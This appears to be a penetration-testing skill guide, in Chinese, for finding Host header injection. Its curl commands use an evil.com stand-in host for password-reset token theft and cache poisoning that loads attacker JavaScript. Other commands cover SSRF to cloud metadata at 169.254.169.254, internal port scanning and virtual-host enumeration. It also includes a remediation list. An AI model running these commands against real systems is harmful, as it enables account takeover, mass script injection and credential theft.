testing-for-host-header-injection

测试 Host 头注入

何时使用

• 在测试密码重置功能是否存在通过 Host 操纵窃取令牌时
• 在评估受 Host 头值影响的 Web 缓存行为时
• 在测试虚拟主机路由和服务端请求处理时
• 在渗透测试位于反向代理或负载均衡器后面的应用时
• 在评估通过 Host 头操纵实现 SSRF 的可能性时

前提条件

• 用于拦截和修改 Host 头的 Burp Suite
• 了解 HTTP Host 头在虚拟主机和路由中的作用
• 了解替代 Host 头（X-Forwarded-Host、X-Host、X-Original-URL）
• 拥有一个由攻击者控制的域名以接收被投毒的请求
• 用于带外检测的 Burp Collaborator 或 interact.sh
• 用于密码重置测试的多个测试账户

法律声明： 本技能仅用于授权的安全测试和教育目的。未经授权对你不拥有或没有书面许可测试的系统使用是违法的，并可能违反计算机欺诈相关法律。

工作流

步骤 1 — 测试基本 Host 头注入

# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response

# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v

# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v

# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v

# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

步骤 2 — 测试密码重置投毒

# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "[email protected]"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link

# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
  -H "X-Forwarded-Host: evil.com" \
  -d "[email protected]"

# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
  -H "Host: target.com:[email protected]" \
  -d "[email protected]"

# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
  curl -X POST http://target.com/forgot-password \
    -H "$header: evil.com" \
    -d "[email protected]"
  echo "Tested: $header"
done

步骤 3 — 测试通过 Host 头进行 Web 缓存投毒

# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content

# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached

# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned

# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users

步骤 4 — 测试通过 Host 头进行 SSRF

# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy

# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/

# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - Port $port"
done

# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

步骤 5 — 测试虚拟主机枚举

# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
  size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
  echo "$vhost.target.com - Status: $status, Size: $size"
done

# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response

# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/

步骤 6 — 测试连接状态攻击

# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive

# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com

# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host header

关键概念

概念	描述
Host 头	指定请求目标虚拟主机的 HTTP 头
密码重置投毒	注入 Host 使重置邮件包含攻击者控制的 URL
通过 Host 进行缓存投毒	用包含攻击者控制 Host 的响应污染 CDN 缓存
虚拟主机路由	Web 服务器使用 Host 头将请求路由到不同应用
X-Forwarded-Host	代理使用的可能覆盖 Host 头的替代头
连接状态攻击	利用持久连接发送带有不同 Host 值的请求
服务端 Host 解析	后端代码使用 Host 头进行 URL 生成和重定向

工具与系统

工具	用途
Burp Suite	用于 Host 头操纵和分析的 HTTP 代理
Burp Collaborator	用于 Host 头 SSRF 的带外检测
ffuf	使用自定义 Host 头进行虚拟主机暴力破解
gobuster vhost	虚拟主机枚举模式
Nuclei	基于模板的 Host 头注入扫描
param-miner	用于发现未加入键的 Host 相关头的 Burp 扩展

常见场景

1. 密码重置令牌窃取 — 在密码重置期间投毒 Host 头，使受害者点击指向攻击者服务器的链接，从而泄露重置令牌
2. Web 缓存投毒 — 注入 Host 头以缓存包含攻击者控制的 JavaScript URL 的响应，从而对所有用户实现存储型 XSS
3. 内部面板访问 — 通过虚拟主机操纵枚举并访问内部管理面板
4. SSRF 到云元数据 — 使用 Host 头将服务端请求重定向到云元数据端点
5. 路由绕过 — 通过操纵 Host 将请求路由到未受保护的后端实例，从而绕过访问控制

输出格式

## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP

### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |

### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host